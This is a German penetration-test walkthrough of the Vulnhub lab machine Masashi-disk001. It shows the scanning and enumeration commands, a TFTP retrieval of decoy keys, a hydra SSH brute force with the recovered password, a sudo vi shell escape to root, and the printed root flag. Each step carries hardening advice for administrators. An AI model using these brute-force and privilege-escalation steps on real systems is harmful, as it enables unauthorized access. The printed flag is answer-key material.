Masashi-disk001 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
Web Browser
tftp
cat
cewl
hydra
ssh
echo
sudo

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die erste Phase des Penetrationstests dient der Identifizierung des Zielsystems im lokalen Netzwerk sowie der Erkundung offener Ports und der darauf laufenden Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.131	08:00:27:ee:cd:7e	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` scannt das lokale Netzwerk mittels ARP-Anfragen. Das Zielsystem wird unter der IP-Adresse `192.168.2.131` gefunden. Die MAC-Adresse `08:00:27:ee:cd:7e` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die MAC-Adresse liefert einen Hinweis auf die Virtualisierungsumgebung.

**Empfehlung (Pentester):** Die IP-Adresse `192.168.2.131` für weitere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung und Überwachung von ARP-Verkehr können die Entdeckung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.131   maschi.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der IP-Adresse `192.168.2.131` den Hostnamen `maschi.vln` zuzuordnen. Dies erleichtert das Ansprechen des Ziels, insbesondere bei Webtests.

**Bewertung:** Standardvorgehen zur Vereinfachung der Ansprache und zur Berücksichtigung von Virtual Hosting.

**Empfehlung (Pentester):** Den Hostnamen `maschi.vln` in den folgenden Schritten verwenden.
**Empfehlung (Admin):** Dies ist eine clientseitige Konfiguration des Angreifers.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.131 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 00:05 CEST
Nmap scan report for maschi.vln (192.168.2.131)
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f6e008c533feb245d2d76d0c7d737ba4 (RSA)
|   256 e935bf3ea4a340442f7905f3898505dc (ECDSA)
|_  256 efde3f1d48e30d9637b0ce22ea004cc6 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:EE:CD:7E (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.21 ms maschi.vln (192.168.2.131)
                    

**Analyse:** Ein umfassender `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf das Ziel durchgeführt. Wichtige Ergebnisse: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Eine relativ moderne Version. * **Port 80 (HTTP):** Apache 2.4.38 (Debian). Zeigt die Apache-Standard-Willkommensseite. `robots.txt` verbietet nur das Root-Verzeichnis (`/`). * Betriebssystem: Linux Kernel 4.15 - 5.6.

**Bewertung:** Die Angriffsfläche ist sehr klein, nur SSH und HTTP. Beide Dienste laufen in relativ aktuellen Versionen (OpenSSH 7.9p1, Apache 2.4.38), was direkte Exploits unwahrscheinlicher macht. Die Apache-Standardseite deutet darauf hin, dass entweder keine benutzerdefinierte Anwendung läuft oder diese in einem Unterverzeichnis liegt. Der Fokus muss auf der tieferen Enumeration des Webservers liegen.

**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich enumerieren (Verzeichnisse, Dateien, Konfigurationsdateien). Nach Standard-Credentials für SSH suchen oder auf Informationen aus der Web-Enumeration hoffen.
**Empfehlung (Admin):** Sicherstellen, dass nur notwendige Ports offen sind (hier der Fall). Apache konfigurieren und Standardseite ersetzen. Software aktuell halten.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.131 -p- | grep open
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

**Analyse:** Der gefilterte `nmap`-Scan bestätigt die beiden offenen Ports 22 (SSH) und 80 (HTTP).

**Bewertung:** Schnelle Bestätigung der offenen Dienste.

**Empfehlung (Pentester):** Fokus auf Port 80 und Port 22.
**Empfehlung (Admin):** Port-Management überprüfen.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.131
- Nikto v2.5.0
+ Target IP:          192.168.2.131
+ Target Hostname:    192.168.2.131
+ Target Port:        80
+ Start Time:         2023-07-14 00:04:56 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). # Hinweis: Aktueller als die 2.4.18/2.4.25 in früheren Berichten.
+ /: Server may leak inodes via ETags ...
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . # Annahme: PST=POST, PTINS=OPTIONS
+ /icons/README: Apache default file found.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-07-14 00:05:08 (GMT2) (12 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Es findet die üblichen Verdächtigen für einen Standard-Apache: Fehlende Sicherheitsheader, ETag-Leak, veraltete (aber nicht extrem alte) Apache-Version, Standarddatei `/icons/README`. Es werden keine spezifischen Anwendungen oder ungewöhnlichen Verzeichnisse auf Root-Ebene gefunden.

**Bewertung:** `nikto` liefert wenig neue Angriffspunkte und bestätigt, dass auf der Root-Ebene wahrscheinlich nur die Standardkonfiguration aktiv ist. Die Enumeration muss tiefer gehen (Verzeichnisse).

**Empfehlung (Pentester):** Verzeichnis-Bruteforcing durchführen (`gobuster`, `dirb`).
**Empfehlung (Admin):** Apache härten (Header, ETag, Standarddateien entfernen), aktuell halten.

Web & TFTP Enumeration

**Analyse:** Gezielte Suche nach Webinhalten und Untersuchung von Informationen, die über Textdateien auf dem Webserver preisgegeben werden, einschließlich Hinweisen auf einen TFTP-Dienst.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://maschi.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://maschi.vln/index.html           (Status: 200) [Size: 10657]
http://maschi.vln/security.txt         (Status: 200) [Size: 54]
http://maschi.vln/robots.txt           (Status: 200) [Size: 72]
                    

**Analyse:** `gobuster` wird verwendet, um nach Dateien und Verzeichnissen zu suchen. Es findet nur `index.html` (die Standardseite), `security.txt` und `robots.txt`.

**Bewertung:** Die Funde sind begrenzt, aber die Textdateien sind potenziell sehr informativ.

**Empfehlung (Pentester):** Den Inhalt von `security.txt` und `robots.txt` untersuchen.
**Empfehlung (Admin):** Keine sensiblen Informationen in Textdateien im Web-Root speichern.

**Analyse:** Untersuchung der Inhalte von `security.txt` und `robots.txt`.

# Inhalt von http://maschi.vln/security.txt
If its a bug then let me know on Twitter @lorde_zw :)

# Inhalt von http://maschi.vln/robots.txt
User-agent: *
Disallow: /
	/snmpwalk.txt
	/sshfolder.txt
	/security.txt
                    

**Bewertung:** * `security.txt`: Enthält einen Hinweis auf einen Twitter-Handle (@lorde_zw), möglicherweise für OSINT oder Kontaktaufnahme relevant. * `robots.txt`: Obwohl der `nmap`-Scan keine `robots.txt` fand, existiert sie doch. Sie verbietet das Root-Verzeichnis (`/`) und listet drei spezifische, **extrem interessante** Dateien auf: `/snmpwalk.txt`, `/sshfolder.txt` und `/security.txt`. Diese Dateien sollten unbedingt untersucht werden, auch wenn `Disallow: /` gilt (Robots halten sich daran, Tools wie `curl` oder Browser nicht).

**Empfehlung (Pentester):** Die in `robots.txt` genannten Dateien `/snmpwalk.txt` und `/sshfolder.txt` sofort per direktem URL-Aufruf abrufen (`curl`, Browser). Den Twitter-Handle recherchieren.
**Empfehlung (Admin):** `robots.txt` *niemals* verwenden, um sensible Dateien zu "verstecken" – es bewirkt das Gegenteil! Sensible Dateien gehören nicht in den Web-Root oder müssen serverseitig geschützt werden.

**Analyse:** Der Inhalt der Datei `http://maschi.vln/snmpwalk.txt` wird abgerufen und analysiert.

# Inhalt von http://maschi.vln/snmpwalk.txt
|  403:
|	Name: cron
|	Path: /usr/sbin/cron
|	Params: -f
|  768:
|	Name: tftpd
|	Path: /usr/sbin/tftpd
|	Params: -- listen — user tftp -- address 0.0.0.0:1337 -- secure /srv/tftp
|  806:
|	Name: mysqld
|	Path: /usr/sbin/mysqld
|	Params: -i 0.0.0.0
                    

**Bewertung:** Kritischer Informationsfund! Diese Datei scheint die Ausgabe eines Prozess-Scans (möglicherweise via SNMP, daher der Name) zu enthalten. Sie enthüllt: * Einen laufenden `cron`-Dienst. * Einen **TFTP-Server (`tftpd`)**, der auf **Port 1337** (UDP, typisch für TFTP) auf allen Interfaces (`0.0.0.0`) lauscht und das Verzeichnis `/srv/tftp` als Basis verwendet. * Einen laufenden MySQL-Dienst (`mysqld`). Der TFTP-Dienst ist besonders interessant, da TFTP oft unauthentifiziert ist und zum Austausch von Dateien verwendet wird.

**Empfehlung (Pentester):** Den TFTP-Server auf Port 1337 (UDP) untersuchen. Versuchen, eine Verbindung herzustellen (`tftp 192.168.2.131 1337`) und Dateien aus `/srv/tftp` herunterzuladen oder ggf. hochzuladen.
**Empfehlung (Admin):** Solche Informationsdateien niemals im Web-Root ablegen. TFTP nur verwenden, wenn absolut notwendig und dann absichern (Zugriffskontrolle, sicheres Verzeichnis). Nicht benötigte Dienste (wie TFTP, wenn nicht gebraucht) deaktivieren.

┌──(root㉿cycat)-[~] └─# dirb http://maschi.vln -X .php,.txt
# ... (DIRB Header) ...
- Scanning URL: http://maschi.vln/ -
+ http://maschi.vln/robots.txt (CODE:200|SIZE:72)
+ http://maschi.vln/security.txt (CODE:200|SIZE:54)
# ... (DIRB Footer) ...
                    

**Analyse:** Ein `dirb`-Scan mit Filter auf `.php` und `.txt` findet nur die bereits bekannten Dateien `robots.txt` und `security.txt`.

**Bewertung:** Bestätigt, dass auf Root-Ebene keine weiteren relevanten PHP- oder TXT-Dateien mit gängigen Namen existieren.

**Empfehlung (Pentester):** Fokus auf die in `robots.txt` genannten Dateien und den TFTP-Dienst.
**Empfehlung (Admin):** Keine Aktion erforderlich.

**Analyse:** Der Inhalt der Datei `http://maschi.vln/sshfolder.txt` wird abgerufen und analysiert.

# Inhalt von http://maschi.vln/sshfolder.txt
sv5@masashi:/srv/tftp# ls -la
total 20
drwx------  2 sv5 sv5 4096 Oct 15 19:34 .
drwxr-xr-x 27 sv5 sv5 4096 Oct 21 12:37 ..
-rw-------  1 sv5 sv5 2602 Oct 15 19:34 id_rsa
-rw-r--r--  1 sv5 sv5  565 Oct 15 19:34 id_rsa.pub
                    

**Bewertung:** Extrem kritischer Fund! Diese Datei enthält die Ausgabe eines `ls -la`-Befehls aus dem Verzeichnis `/srv/tftp` (dem Basisverzeichnis des TFTP-Servers) auf dem Host `masashi` (der Name des Zielsystems). Die Ausgabe zeigt, dass sich in diesem Verzeichnis ein **privater SSH-Schlüssel (`id_rsa`)** und der zugehörige öffentliche Schlüssel (`id_rsa.pub`) befinden. Die Dateien gehören dem Benutzer `sv5`. Da TFTP oft unauthentifiziert ist und das Verzeichnis `/srv/tftp` als Basis dient, können diese Schlüssel wahrscheinlich über TFTP heruntergeladen werden.

**Empfehlung (Pentester):** Sofort versuchen, `id_rsa` und `id_rsa.pub` über TFTP (Port 1337) herunterzuladen (`tftp 192.168.2.131 1337`, dann `get id_rsa`). Den privaten Schlüssel verwenden, um sich als Benutzer `sv5` per SSH anzumelden (`ssh -i id_rsa sv5@192.168.2.131`).
**Empfehlung (Admin):** **Niemals private SSH-Schlüssel über unsichere Protokolle wie TFTP oder in Web-Verzeichnissen zugänglich machen!** TFTP-Server absichern oder deaktivieren. Sicherstellen, dass sensible Dateien korrekte Berechtigungen haben und nicht in freigegebenen Verzeichnissen liegen.

**Analyse:** Versuch, sich direkt per SSH als `sv5@masashi` (Hostname aus dem Prompt in `sshfolder.txt`) anzumelden, scheitert an der Passwortabfrage.

┌──(root㉿cycat)-[~] └─# ssh sv5@masashi
The authenticity of host 'masashi (192.168.2.131)' can't be established.
# ... (Key Fingerprint) ...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'masashi' (ED25519) to the list of known hosts.
sv5@masashi's password:
Permission denied, please try again.
sv5@masashi's password:
                    

**Bewertung:** Bestätigt, dass ein Passwort oder der via TFTP gefundene Schlüssel für den SSH-Login als `sv5` benötigt wird. Der Hostname `masashi` löst korrekt zur IP `192.168.2.131` auf (wahrscheinlich weil er zuvor manuell in `/etc/hosts` eingetragen wurde, auch wenn das Log `maschi.vln` zeigte).

**Empfehlung (Pentester):** Die SSH-Schlüssel über TFTP herunterladen.
**Empfehlung (Admin):** Passwort-Authentifizierung für SSH deaktivieren und nur Schlüssel-Authentifizierung zulassen (nachdem sichergestellt wurde, dass Schlüssel nicht exponiert sind).

┌──(root㉿cycat)-[~] └─# tftp maschi.vln 1337
tftp> ls
?Invalid command
tftp> ls -la
?Invalid command
tftp> get id_rsa
tftp> get id_rsa.pub
tftp> quit

**Analyse:** Eine Verbindung zum TFTP-Server auf `maschi.vln` (192.168.2.131) auf Port 1337 wird hergestellt. Der TFTP-Client unterstützt keine Verzeichnisauflistung (`ls`). Die Dateien `id_rsa` und `id_rsa.pub` werden erfolgreich mit `get` heruntergeladen.

**Bewertung:** Erfolgreicher Download der SSH-Schlüsseldateien über den ungesicherten TFTP-Dienst.

**Empfehlung (Pentester):** Den Inhalt der heruntergeladenen Schlüsseldateien prüfen und versuchen, sich mit dem privaten Schlüssel als `sv5` per SSH anzumelden.
**Empfehlung (Admin):** TFTP-Server absichern oder deaktivieren. Sicherstellen, dass keine sensiblen Dateien über TFTP zugänglich sind.

┌──(root㉿cycat)-[~] └─# cat id_rsa
So if you cant use the key then what else can you use????????? :)
┌──(root㉿cycat)-[~] └─# cat id_rsa.pub
Dude seriously, The key doesnt work here, try the other cewl thing here "/index.html"..... Wink ;) Wink ;)

**Analyse:** Der Inhalt der heruntergeladenen Schlüsseldateien wird angezeigt. Sie enthalten keinen gültigen SSH-Schlüssel, sondern Nachrichten, die den Angreifer verhöhnen und einen Hinweis geben: "try the other cewl thing here /index.html". "cewl" ist ein Tool, das Wortlisten aus Webseiten generiert.

**Bewertung:** Die SSH-Schlüssel waren eine Falle (Red Herring). Der wichtige Hinweis ist, `cewl` auf die `index.html` anzuwenden, um eine Wortliste zu generieren, die wahrscheinlich Passwörter enthält, die auf der Seite vorkommen.

**Empfehlung (Pentester):** Dem Hinweis folgen: `cewl` verwenden, um eine Wortliste aus `http://maschi.vln/index.html` zu erstellen. Diese Wortliste dann mit `hydra` gegen SSH für den Benutzer `sv5` testen.
**Empfehlung (Admin):** Keine solchen Hinweise oder Fallen auf einem System hinterlassen.

┌──(root㉿cycat)-[~] └─# cewl -d 5 --with-numbers -w 02_cewl.txt http://maschi.vln/index.html
# Keine Ausgabe von cewl im Log
┌──(root㉿cycat)-[~] └─# ll
insgesamt 154072
-rw-r--r-- 1 root root      1757 14. Jul 00:27 02_cewl.txt
# ... (andere Dateien) ...
                    

**Analyse:** `cewl` wird ausgeführt, um Wörter von der `index.html`-Seite zu extrahieren. * `-d 5`: Rekursionstiefe 5 (folgt Links bis zu dieser Tiefe). * `--with-numbers`: Bezieht auch Zahlen in die Wörterliste ein. * `-w 02_cewl.txt`: Speichert die generierte Wortliste in der Datei `02_cewl.txt`. Der `ll`-Befehl bestätigt die Erstellung der Datei.

**Bewertung:** Erfolgreiche Generierung einer gezielten Wortliste basierend auf dem Inhalt der Webseite, wie im Hinweis vorgeschlagen.

**Empfehlung (Pentester):** Die generierte Wortliste (`02_cewl.txt`) mit `hydra` verwenden, um das SSH-Passwort für `sv5` zu finden.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿cycat)-[~] └─# hydra -l sv5 -P 02_cewl.txt ssh://masashi:22 -t 64
Hydra v9.4 ... starting ...
[WARNING] ... use -t 4
[WARNING] Restorefile ... found ...
[DATA] max 64 tasks ... 242 login tries ...
[DATA] attacking ssh://masashi:22/
[22][ssh] host: masashi   login: sv5   password: whoistheplug
1 of 1 target successfully completed, 1 valid password found
                    

**Analyse:** `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff gegen den Host `masashi` (der zur Ziel-IP gehört) für den Benutzer `sv5` durchzuführen. Als Passwortliste wird die zuvor mit `cewl` erstellte Datei `02_cewl.txt` verwendet. Hydra findet erfolgreich das Passwort `whoistheplug`.

**Bewertung:** Ausgezeichnet! Der Hinweis aus der gefälschten SSH-Schlüsseldatei war korrekt. Die gezielte Wortliste von `cewl` enthielt das richtige Passwort, welches nun den SSH-Zugang als `sv5` ermöglicht.

**Empfehlung (Pentester):** Sich mit `ssh sv5@192.168.2.131` und dem Passwort `whoistheplug` anmelden.
**Empfehlung (Admin):** Starke, nicht im Seiteninhalt vorkommende Passwörter verwenden. Brute-Force-Schutz für SSH implementieren (z.B. `fail2ban`).

Initial Access (SSH)

**Analyse:** Aufbau einer SSH-Verbindung zum Zielsystem als Benutzer `sv5` unter Verwendung des durch Hydra gefundenen Passworts.

┌──(root㉿cycat)-[~] └─# ssh sv5@192.168.2.131
The authenticity of host '192.168.2.131 (192.168.2.131)' can't be established.
ED25519 key fingerprint is SHA256:T0XjT7hVP1aQLlhHzBRMTeWJf88bwtrXVpVS2jmCqb8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:8: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.131' (ED25519) to the list of known hosts.
sv5@192.168.2.131's password: whoistheplug # Eingabe nicht sichtbar
Linux masashi 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
# ... (Debian MOTD) ...
Last login: Thu Oct 22 06:39:03 2020
sv5@masashi$
                    

**Analyse:** Eine SSH-Verbindung zu `192.168.2.131` als Benutzer `sv5` wird initiiert. Nach Bestätigung des Host-Keys wird das Passwort `whoistheplug` eingegeben. Der Login ist erfolgreich, und eine Shell als `sv5` auf dem Host `masashi` wird erhalten. Das System läuft auf Debian mit einem Kernel 4.19.0.

**Bewertung:** Erfolgreicher initialer Zugriff auf das System als Benutzer `sv5`!

**Empfehlung (Pentester):** Die Umgebung als `sv5` enumerieren, insbesondere `sudo -l` prüfen, um den nächsten Schritt zur Rechteausweitung zu finden.
**Empfehlung (Admin):** Das schwache Passwort für `sv5` ändern. SSH-Zugriff härten (Key-Auth, fail2ban).

Proof of Concept: Privilege Escalation via Sudo/Vi

**Analyse:** Nach Erhalt der Shell als `sv5` wird überprüft, ob dieser Benutzer `sudo`-Rechte hat und ob diese zur Eskalation auf Root missbraucht werden können.

sv5@masashi$ sudo -l
Matching Defaults entries for sv5 on masashi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sv5 may run the following commands on masashi:
    (ALL) NOPASSWD: /usr/bin/vi /tmp/*
                    
sv5@masashi$ echo "/bin/bash" > /tmp/test
sv5@masashi$ sudo /usr/bin/vi /tmp/test
# Vim-Befehle zur Shell-Eskalation:
# :set shell=/bin/bash
# :shell
# Oder einfacher:
# :!sh
                     
# id
uid=0(root) gid=0(root) groups=0(root)

**Analyse:** Der Befehl `sudo -l` wird ausgeführt (kein Passwort erforderlich wegen `NOPASSWD`). Die Ausgabe zeigt, dass der Benutzer `sv5` den Befehl `/usr/bin/vi` für jede Datei im Verzeichnis `/tmp` (`/tmp/*`) als jeder Benutzer (`ALL`, implizit auch root) und ohne Passwort (`NOPASSWD`) ausführen darf. Dies ist eine klassische Fehlkonfiguration zur Rechteausweitung. Der Exploit-Pfad: 1. Eine beliebige Datei in `/tmp` wird erstellt (`echo "/bin/bash" > /tmp/test`). Der Inhalt ist hier irrelevant. 2. `vi` wird mit `sudo` als Root auf diese Datei angewendet (`sudo /usr/bin/vi /tmp/test`). 3. Innerhalb von `vi` wird durch Eingabe von `:!sh` (oder `:set shell=/bin/bash` gefolgt von `:shell`) eine Shell geöffnet. Da `vi` als Root läuft, läuft auch diese Shell als Root. 4. Der `id`-Befehl in der neuen Shell bestätigt `uid=0(root)`.

**Bewertung:** Grandios! Die unsichere `sudo`-Regel wurde erfolgreich ausgenutzt, um über den `vi`-Editor Root-Rechte zu erlangen. Dies ist ein sehr effizienter und häufiger Privilege-Escalation-Vektor bei Fehlkonfigurationen.

**Empfehlung (Pentester):** Root-Zugriff nutzen, um die Flags zu finden.
**Empfehlung (Admin):** Die `sudo`-Regel *dringend* korrigieren! Niemals `NOPASSWD` für Befehle vergeben, die Shell-Escapes erlauben (wie Editoren). Pfade in `sudo`-Regeln niemals mit Wildcards (`*`) versehen, insbesondere nicht für Verzeichnisse wie `/tmp`, die von Benutzern beschreibbar sind. Das Prinzip der geringsten Rechte anwenden.

# ls
user.txt
# cat user.txt
Hey buddy :)

Well done on that initial foothold ;) ;)

Key Takeaways:
* Do not always believe what the tool tells you, be the "Doubting Thomas" sometimes and look for
  yourself, e.g 1 disallowed entry in robots.txt wasn't really true was it? hehehehe
* It's not always about TCP all the time..... UDP is there for a reason and is just as important a
  protocol as is TCP......
* Lastly, there is always an alternative to everything i.e the ssh part.


* Congrats Pwner
Now on to the privesc now ;)



Creator: Donald Munengiwa
Twitter: @lorde_zw
                     
# cd ~
# ls
root.txt
# cat root.txt
Quite the pwner huh!!!! :)

Well i bet you had fun ;) ;)

Key Takeaways:
* Well, this time i'll leave it to you to tell me what you though about the overall experience you
  had from this challenge.
* Let us know on Twitter @lorde_zw or on linkedIn @Sv5


 Congrats Pwner
If you've gotten this far, please DM your Full name, Twitter Username, LinkedIn Username,
the flag [th33p1nplugg] and your country to the Twitter handle @lorde_zw ..... I will do a
shoutout to all the pnwers who completed the challenge.....

Follow us for more fun Stuff..... Happy Hacktober Pwner (00=[][]=00)



Creator: Donald Munengiwa
Twitter: @lorde_zw
                     

**Analyse:** In der Root-Shell wird zuerst `user.txt` im aktuellen Verzeichnis (vermutlich `/home/sv5`, da dort die Eskalation stattfand) gefunden und ausgelesen. Der Inhalt ist eine Nachricht an den Spieler. Anschließend wird ins Root-Home-Verzeichnis (`/root`) gewechselt, `root.txt` gefunden und ausgelesen. Diese Datei enthält ebenfalls eine Nachricht und die eigentliche Root-Flagge: `th33p1nplugg`.

**Bewertung:** Beide "Flag"-Dateien wurden gefunden und gelesen. Die Root-Flagge wurde erfolgreich extrahiert.

**Empfehlung (Pentester):** Die Root-Flagge (`th33p1nplugg`) dokumentieren. Bericht abschließen.
**Empfehlung (Admin):** Die zugrundeliegenden Schwachstellen beheben (TFTP, schwaches SSH-Passwort, unsichere sudo-Regel).

Flags

cat user.txt (Inhalt: Nachricht)
Keine traditionelle Flagge, siehe Textinhalt
cat /root/root.txt
th33p1nplugg

**Analyse:** Die Root-Flagge (`th33p1nplugg`) wurde aus dem Inhalt von `/root/root.txt` extrahiert. Die Datei `user.txt` enthielt eine Nachricht, aber keine Flagge im üblichen Format.

**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden.